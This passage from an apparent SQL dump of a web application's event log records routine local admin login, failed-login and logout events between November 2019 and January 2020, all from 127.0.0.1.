mot de passe incorrect - login=admin','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.75 Safari/537.36',NULL,'8ac86e29343929e21171a305760f9a3b',NULL,NULL),(970,'2019-11-28 15:09:22','USER_LOGIN',1,'2019-11-28 19:09:22',12,'(UserLogged,admin) - TZ=1;TZString=Europe/Paris;Screen=1920x919','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.75 Safari/537.36',NULL,'8ac86e29343929e21171a305760f9a3b',NULL,NULL),(971,'2019-11-28 16:25:52','USER_LOGIN_FAILED',1,'2019-11-28 20:25:52',NULL,'Identifiant ou mot de passe incorrect - login=admin','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.75 Safari/537.36',NULL,'8ac86e29343929e21171a305760f9a3b',NULL,NULL),(972,'2019-11-28 16:25:56','USER_LOGIN',1,'2019-11-28 20:25:56',12,'(UserLogged,admin) - TZ=1;TZString=Europe/Paris;Screen=1920x919','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.75 Safari/537.36',NULL,'8ac86e29343929e21171a305760f9a3b',NULL,NULL),(973,'2019-11-29 08:43:22','USER_LOGIN_FAILED',1,'2019-11-29 12:43:22',NULL,'Identifiant ou mot de passe incorrect - login=admin','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.75 Safari/537.36',NULL,'8ac86e29343929e21171a305760f9a3b',NULL,NULL),(974,'2019-11-29 08:43:24','USER_LOGIN',1,'2019-11-29 12:43:24',12,'(UserLogged,admin) - TZ=1;TZString=Europe/Paris;Screen=1920x919','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.75 Safari/537.36',NULL,'8ac86e29343929e21171a305760f9a3b',NULL,NULL),(975,'2019-12-19 11:12:30','USER_LOGIN_FAILED',1,'2019-12-19 15:12:30',NULL,'Identifiant ou mot de passe incorrect - login=admin','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36',NULL,'8ac86e29343929e21171a305760f9a3b',NULL,NULL),(976,'2019-12-19 11:12:33','USER_LOGIN',1,'2019-12-19 15:12:33',12,'(UserLogged,admin) - TZ=1;TZString=Europe/Paris;Screen=1920x948','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36',NULL,'8ac86e29343929e21171a305760f9a3b',NULL,NULL),(977,'2019-12-20 09:38:10','USER_LOGIN_FAILED',1,'2019-12-20 13:38:10',NULL,'Identifiant ou mot de passe incorrect - login=admin','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36',NULL,'8ac86e29343929e21171a305760f9a3b',NULL,NULL),(978,'2019-12-20 09:38:13','USER_LOGIN',1,'2019-12-20 13:38:13',12,'(UserLogged,admin) - TZ=1;TZString=Europe/Paris;Screen=1920x948','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36',NULL,'8ac86e29343929e21171a305760f9a3b',NULL,NULL),(979,'2019-12-20 15:59:50','USER_LOGIN',1,'2019-12-20 19:59:50',12,'(UserLogged,admin) - TZ=1;TZString=Europe/Paris;Screen=1920x948','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36',NULL,'8ac86e29343929e21171a305760f9a3b',NULL,NULL),(980,'2019-12-21 13:05:49','USER_LOGIN_FAILED',1,'2019-12-21 17:05:49',NULL,'Identifiant ou mot de passe incorrect - login=admin','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36',NULL,'8ac86e29343929e21171a305760f9a3b',NULL,NULL),(981,'2019-12-21 13:05:52','USER_LOGIN',1,'2019-12-21 17:05:52',12,'(UserLogged,admin) - TZ=1;TZString=Europe/Paris;Screen=1905x552','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36',NULL,'8ac86e29343929e21171a305760f9a3b',NULL,NULL),(982,'2019-12-21 15:26:25','USER_LOGIN_FAILED',1,'2019-12-21 19:26:25',NULL,'Identifiant ou mot de passe incorrect - login=admin','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36',NULL,'8ac86e29343929e21171a305760f9a3b',NULL,NULL),(983,'2019-12-21 15:26:28','USER_LOGIN',1,'2019-12-21 19:26:28',12,'(UserLogged,admin) - TZ=1;TZString=Europe/Paris;Screen=1920x980','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36',NULL,'8ac86e29343929e21171a305760f9a3b',NULL,NULL),(984,'2019-12-21 15:27:00','USER_LOGOUT',1,'2019-12-21 19:27:00',12,'(UserLogoff,admin)','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36',NULL,'8ac86e29343929e21171a305760f9a3b',NULL,NULL),(985,'2019-12-21 15:27:05','USER_LOGIN',1,'2019-12-21 19:27:05',12,'(UserLogged,admin) - TZ=1;TZString=Europe/Paris;Screen=1920x980','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36',NULL,'8ac86e29343929e21171a305760f9a3b',NULL,NULL),(986,'2019-12-21 15:27:44','USER_LOGOUT',1,'2019-12-21 19:27:44',12,'(UserLogoff,admin)','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36',NULL,'8ac86e29343929e21171a305760f9a3b',NULL,NULL),(987,'2019-12-21 15:28:04','USER_LOGIN',1,'2019-12-21 19:28:04',12,'(UserLogged,admin) - TZ=1;TZString=Europe/Paris;Screen=1920x980','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36',NULL,'8ac86e29343929e21171a305760f9a3b',NULL,NULL),(988,'2019-12-22 11:59:41','USER_LOGIN',1,'2019-12-22 15:59:41',12,'(UserLogged,admin) - TZ=1;TZString=Europe/Paris;Screen=1920x980','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36',NULL,'8ac86e29343929e21171a305760f9a3b',NULL,NULL),(989,'2019-12-22 15:06:01','USER_LOGIN_FAILED',1,'2019-12-22 19:06:01',NULL,'Identifiant ou mot de passe incorrect - login=admin','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36',NULL,'8ac86e29343929e21171a305760f9a3b',NULL,NULL),(990,'2019-12-22 15:06:06','USER_LOGIN_FAILED',1,'2019-12-22 19:06:06',NULL,'Identifiant ou mot de passe incorrect - login=admin','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36',NULL,'8ac86e29343929e21171a305760f9a3b',NULL,NULL),(991,'2019-12-22 15:06:15','USER_LOGIN',1,'2019-12-22 19:06:15',12,'(UserLogged,admin) - TZ=1;TZString=Europe/Paris;Screen=1920x980','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36',NULL,'8ac86e29343929e21171a305760f9a3b',NULL,NULL),(992,'2019-12-22 18:43:21','USER_LOGIN',1,'2019-12-22 22:43:21',12,'(UserLogged,admin) - TZ=1;TZString=Europe/Paris;Screen=1920x980','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36',NULL,'8ac86e29343929e21171a305760f9a3b',NULL,NULL),(993,'2019-12-22 20:16:19','USER_LOGIN',1,'2019-12-23 00:16:19',12,'(UserLogged,admin) - TZ=1;TZString=Europe/Paris;Screen=1905x584','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36',NULL,'8ac86e29343929e21171a305760f9a3b',NULL,NULL),(994,'2019-12-23 10:05:11','USER_LOGIN_FAILED',1,'2019-12-23 14:05:11',NULL,'Identifiant ou mot de passe incorrect - login=admin','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36',NULL,'8ac86e29343929e21171a305760f9a3b',NULL,NULL),(995,'2019-12-23 10:05:14','USER_LOGIN',1,'2019-12-23 14:05:14',12,'(UserLogged,admin) - TZ=1;TZString=Europe/Paris;Screen=1920x948','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36',NULL,'8ac86e29343929e21171a305760f9a3b',NULL,NULL),(996,'2019-12-23 13:24:50','USER_LOGIN_FAILED',1,'2019-12-23 17:24:50',NULL,'Identifiant ou mot de passe incorrect - login=admin','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36',NULL,'8ac86e29343929e21171a305760f9a3b',NULL,NULL),(997,'2019-12-23 13:24:54','USER_LOGIN',1,'2019-12-23 17:24:54',12,'(UserLogged,admin) - TZ=1;TZString=Europe/Paris;Screen=1920x948','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36',NULL,'8ac86e29343929e21171a305760f9a3b',NULL,NULL),(998,'2019-12-25 21:37:28','USER_LOGIN_FAILED',1,'2019-12-26 01:37:28',NULL,'Identifiant ou mot de passe incorrect - login=admin','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36',NULL,'8ac86e29343929e21171a305760f9a3b',NULL,NULL),(999,'2019-12-25 21:37:30','USER_LOGIN',1,'2019-12-26 01:37:30',12,'(UserLogged,admin) - TZ=1;TZString=Europe/Paris;Screen=1920x948','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36',NULL,'8ac86e29343929e21171a305760f9a3b',NULL,NULL),(1000,'2020-01-01 10:23:41','USER_LOGIN_FAILED',1,'2020-01-01 14:23:41',NULL,'Identifiant ou mot de passe incorrect - login=admin','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36',NULL,'8ac86e29343929e21171a305760f9a3b',NULL,NULL),(1001,'2020-01-01 10:23:43','USER_LOGIN',1,'2020-01-01 14:23:43',12,'(UserLogged,admin) - TZ=1;TZString=Europe/Paris;Screen=1920x948','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36',NULL,'8ac86e29343929e21171a305760f9a3b',NULL,NULL),(1002,'2020-01-01 19:52:00','USER_LOGIN_FAILED',1,'2020-01-01 23:52:00',NULL,'Identifiant ou mot de passe incorrect - login=admin','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36',NULL,'8ac86e29343929e21171a305760f9a3b',NULL,NULL),(1003,'2020-01-01 19:52:07','USER_LOGIN',1,'2020-01-01 23:52:07',12,'(UserLogged,admin) - TZ=1;TZString=Europe/Paris;Screen=1920x948','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36',NULL,'8ac86e29343929e21171a305760f9a3b',NULL,NULL),(1004,'2020-01-02 13:46:18','USER_LOGIN',1,'2020-01-02 17:46:18',12,'(UserLogged,admin) - TZ=1;TZString=Europe/Paris;Screen=1920x948','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36',NULL,'8ac86e29343929e21171a305760f9a3b',NULL,NULL),(1005,'2020-01-02 14:49:05','USER_LOGIN',1,'2020-01-02 18:49:05',12,'(UserLogged,admin) - TZ=1;TZString=Europe/Paris;Screen=1920x710','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36',NULL,'8ac86e29343929e21171a305760f9a3b',NULL,NULL),(1006,'2020-01-02 16:44:11','USER_LOGIN_FAILED',1,'2020-01-02 20:44:11',NULL,'Identifiant ou mot de passe incorrect - login=admin','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36',NULL,'8ac86e29343929e21171a305760f9a3b',NULL,NULL),(1007,'2020-01-02 16:44:14','USER_LOGIN',1,'2020-01-02 20:44:14',12,'(UserLogged,admin) - TZ=1;TZString=Europe/Paris;Screen=1920x948','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36',NULL,'8ac86e29343929e21171a305760f9a3b',NULL,NULL),(1008,'2020-01-02 18:54:45','USER_LOGIN_FAILED',1,'2020-01-02 22:54:45',NULL,'Identifiant ou mot de passe incorrect - login=admin','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36',NULL,'8ac86e29343929e21171a305760f9a3b',NULL,NULL),(1009,'2020-01-02 18:54:48','USER_LOGIN',1,'2020-01-02 22:54:48',12,'(UserLogged,admin) - TZ=1;TZString=Europe/Paris;Screen=1920x948','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36',NULL,'8ac86e29343929e21171a305760f9a3b',NULL,NULL),(1010,'2020-01-03 09:22:02','USER_LOGIN_FAILED',1,'2020-01-03 13:22:02',NULL,'Identifiant ou mot de passe incorrect - login=admin','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36',NULL,'8ac86e29343929e21171a305760f9a3b',NULL,NULL),(1011,'2020-01-03 09:22:06','USER_LOGIN',1,'2020-01-03 13:22:06',12,'(UserLogged,admin) - TZ=1;TZString=Europe/Paris;Screen=1920x948','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36',NULL,'8ac86e29343929e21171a305760f9a3b',NULL,NULL),(1012,'2020-01-03 11:56:30','USER_LOGIN',1,'2020-01-03 15:56:30',12,'(UserLogged,admin) - TZ=1;TZString=Europe/Paris;Screen=1920x948','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36',NULL,'8ac86e29343929e21171a305760f9a3b',NULL,NULL),(1013,'2020-01-04 13:44:25','USER_LOGIN_FAILED',1,'2020-01-04 17:44:25',NULL,'Identifiant ou mot de passe incorrect - login=admin','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36',NULL,'8ac86e29343929e21171a305760f9a3b',NULL,NULL),(1014,'2020-01-04 13:44:28','USER_LOGIN',1,'2020-01-04 17:44:28',12,'(UserLogged,admin) - TZ=1;TZString=Europe/Paris;Screen=1920x948','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36',NULL,'8ac86e29343929e21171a305760f9a3b',NULL,NULL),(1015,'2020-01-05 19:36:34','USER_LOGIN_FAILED',1,'2020-01-05 23:36:34',NULL,'Identifiant ou mot de passe incorrect - login=admin','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36',NULL,'8ac86e29343929e21171a305760f9a3b',NULL,NULL),(1016,'2020-01-05 19:36:39','USER_LOGIN',1,'2020-01-05 23:36:39',12,'(UserLogged,admin) - TZ=1;TZString=Europe/Paris;Screen=1920x948','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36',NULL,'8ac86e29343929e21171a305760f9a3b',NULL,NULL),(1017,'2020-01-06 01:12:23','USER_LOGIN_FAILED',1,'2020-01-06 05:12:23',NULL,'Identifiant ou mot de passe incorrect - login=admin','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36',NULL,'8ac86e29343929e21171a305760f9a3b',NULL,NULL),(1018,'2020-01-06 01:12:25','USER_LOGIN',1,'2020-01-06 05:12:25',12,'(UserLogged,admin) - TZ=1;TZString=Europe/Paris;Screen=1920x948','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36',NULL,'8ac86e29343929e21171a305760f9a3b',NULL,NULL),(1019,'2020-01-06 10:33:33','USER_LOGIN',1,'2020-01-06 14:33:33',12,'(UserLogged,admin) - TZ=1;TZString=Europe/Paris;Screen=1920x948','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36',NULL,'8ac86e29343929e21171a305760f9a3b',NULL,NULL),(1020,'2020-01-06 13:59:58','USER_LOGIN',1,'2020-01-06 17:59:58',12,'(UserLogged,admin) - TZ=1;TZString=Europe/Paris;Screen=1920x948','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36',NULL,'8ac86e29343929e21171a305760f9a3b',NULL,NULL),(1021,'2020-01-06 16:08:41','USER_LOGIN',1,'2020-01-06 20:08:41',12,'(UserLogged,admin) - TZ=1;TZString=Europe/Paris;Screen=1920x948','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36',NULL,'8ac86e29343929e21171a305760f9a3b',NULL,NULL),(1022,'2020-01-07 13:19:13','USER_LOGIN',1,'2020-01-07 17:19:13',12,'(UserLogged,admin) - TZ=1;TZString=Europe/Paris;Screen=1920x948','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36',NULL,'8ac86e29343929e21171a305760f9a3b',NULL,NULL),(1023,'2020-01-07 15:06:53','USER_LOGIN_FAILED',1,'2020-01-07 19:06:53',NULL,'Identifiant ou mot de passe incorrect - login=admin','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36',NULL,'8ac86e29343929e21171a305760f9a3b',NULL,NULL),(1024,'2020-01-07 15:06:59','USER_LOGIN',1,'2020-01-07 19:06:59',12,'(UserLogged,admin) - TZ=1;TZString=Europe/Paris;Screen=1920x948','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36',NULL,'8ac86e29343929e21171a305760f9a3b',NULL,NULL),(1025,'2020-01-07 16:21:53','USER_LOGIN_FAILED',1,'2020-01-07 20:21:53',NULL,'Identifiant ou mot de passe incorrect - login=admin','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36',NULL,'8ac86e29343929e21171a305760f9a3b',NULL,NULL),(1026,'2020-01-07 16:21:56','USER_LOGIN',1,'2020-01-07 20:21:56',12,'(UserLogged,admin) - TZ=1;TZString=Europe/Paris;Screen=1920x948','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36',NULL,'8ac86e29343929e21171a305760f9a3b',NULL,NULL),(1027,'2020-01-07 17:46:46','USER_LOGIN',1,'2020-01-07 21:46:46',12,'(UserLogged,admin) - TZ=1;TZString=Europe/Paris;Screen=1920x948','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36',NULL,'8ac86e29343929e21171a305760f9a3b',NULL,NULL),(1028,'2020-01-08 01:31:40','USER_LOGIN',1,'2020-01-08 05:31:40',12,'(UserLogged,admin) - TZ=1;TZString=Europe/Paris;Screen=1920x948','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36',NULL,'8ac86e29343929e21171a305760f9a3b',NULL,NULL),(1029,'2020-01-08 15:32:34','USER_LOGIN_FAILED',1,'2020-01-08 19:32:34',NULL,'Identifiant ou mot de passe incorrect - login=admin','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36',NULL,'8ac86e29343929e21171a305760f9a3b',NULL,NULL),(1030,'2020-01-08 15:32:38','USER_LOGIN',1,'2020-01-08 19:32:38',12,'(UserLogged,admin) - TZ=1;TZString=Europe/Paris;Screen=1920x948','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36',NULL,'8ac86e29343929e21171a305760f9a3b',NULL,NULL),(1031,'2020-01-09 15:59:02','USER_LOGIN',1,'2020-01-09 19:59:02',12,'(UserLogged,admin) - TZ=1;TZString=Europe/Paris;Screen=1920x948','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36',NULL,'8ac86e29343929e21171a305760f9a3b',NULL,NULL),(1032,'2020-01-09 21:33:47','USER_LOGIN',1,'2020-01-10 01:33:47',12,'(UserLogged,admin) - TZ=1;TZString=Europe/Paris;Screen=1920x948','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36',NULL,'8ac86e29343929e21171a305760f9a3b',NULL,NULL),(1033,'2020-01-10 00:42:07','USER_LOGIN',1,'2020-01-10 04:42:07',12,'(UserLogged,admin) - TZ=1;TZString=Europe/Paris;Screen=1920x948','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36',NULL,'8ac86e29343929e21171a305760f9a3b',NULL,NULL),(1034,'2020-01-10 22:18:15','USER_LOGIN',1,'2020-01-11 02:18:15',12,'(UserLogged,admin) - TZ=1;TZString=Europe/Paris;Screen=1920x919','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36',NULL,'8ac86e29343929e21171a305760f9a3b',NULL,NULL),(1035,'2020-01-11 13:11:59','USER_LOGIN',1,'2020-01-11 17:11:59',12,'(UserLogged,admin) - TZ=1;TZString=Europe/Paris;Screen=1920x919','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36',NULL,'8ac86e29343929e21171a305760f9a3b',NULL,NULL),(1036,'2020-01-12 20:13:37','USER_LOGIN',1,'2020-01-13 00:13:37',12,'(UserLogged,admin) - TZ=1;TZString=Europe/Paris;Screen=1920x919','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36',NULL,'8ac86e29343929e21171a305760f9a3b',NULL,NULL),(1037,'2020-01-12 20:58:27','USER_LOGIN',1,'2020-01-13 00:58:27',12,'(UserLogged,admin) - TZ=1;TZString=Europe/Paris;Screen=1920x919','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36',NULL,'8ac86e29343929e21171a305760f9a3b',NULL,NULL),(1038,'2020-01-13 03:35:56','USER_LOGIN',1,'2020-01-13 07:35:56',12,'(UserLogged,admin) - TZ=1;TZString=Europe/Paris;Screen=1920x948','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.117 Safari/537.36',NULL,'8ac86e29343929e21171a305760f9a3b',NULL,NULL),(1039,'2020-01-13 10:37:51','USER_LOGIN_FAILED',1,'2020-01-13 14:37:51',NULL,'Identifiant ou mot de passe incorrect - login=admin','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.117 Safari/537.36',NULL,'8ac86e29343929e21171a305760f9a3b',NULL,NULL),(1040,'2020-01-13 10:37:55','USER_LOGIN',1,'2020-01-13 14:37:55',12,'(UserLogged,admin) - TZ=1;TZString=Europe/Paris;Screen=1920x948','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.117 Safari/537.36',NULL,'8ac86e29343929e21171a305760f9a3b',NULL,NULL),(1041,'2020-01-13 14:34:55','USER_LOGIN_FAILED',1,'2020-01-13 18:34:55',NULL,'Identifiant ou mot de passe incorrect - login=admin','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.117 Safari/537.36',NULL,'8ac86e29343929e21171a305760f9a3b',NULL,NULL),(1042,'2020-01-13 14:34:58','USER_LOGIN',1,'2020-01-13 18:34:58',12,'(UserLogged,admin) - TZ=1;TZString=Europe/Paris;Screen=1920x948','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.117 Safari/537.36',NULL,'8ac86e29343929e21171a305760f9a3b',NULL,NULL),(1043,'2020-01-15 10:28:04','USER_LOGIN_FAILED',1,'2020-01-15 14:28:04',NULL,'Identifiant ou mot de passe incorrect - login=admin','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.117 Safari/537.36',NULL,'8ac86e29343929e21171a305760f9a3b',NULL,NULL),(1044,'2020-01-15 10:28:07','USER_LOGIN',1,'2020-01-15 14:28:07',12,'(UserLogged,admin) - TZ=1;TZString=Europe/Paris;Screen=1920x948','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.117 Safari/537.36',NULL,'8ac86e29343929e21171a305760f9a3b',NULL,NULL),(1045,'2020-01-15 11:49:56','USER_LOGIN_FAILED',1,'2020-01-15 15:49:56',NULL,'Identifiant ou mot de passe incorrect - login=admin','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.117 Safari/537.36',NULL,'8ac86e29343929e21171a305760f9a3b',NULL,NULL),(1046,'2020-01-15 11:49:58','USER_LOGIN',1,'2020-01-15 15:49:58',12,'(UserLogged,admin) - TZ=1;TZString=Europe/Paris;Screen=1920x948','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.117 Safari/537.36',NULL,'8ac86e29343929e21171a305760f9a3b',NULL,NULL),(1047,'2020-01-15 13:35:01','USER_LOGIN_FAILED',1,'2020-01-15 17:35:01',NULL,'Identifiant ou mot de passe incorrect - login=admin','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.117 Safari/537.36',NULL,'8ac86e29343929e21171a305760f9a3b',NULL,NULL),(1048,'2020-01-15 13:35:04','USER_LOGIN',1,'2020-01-15 17:35:04',12,'(UserLogged,admin) - TZ=1;TZString=Europe/Paris;Screen=1920x948','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) 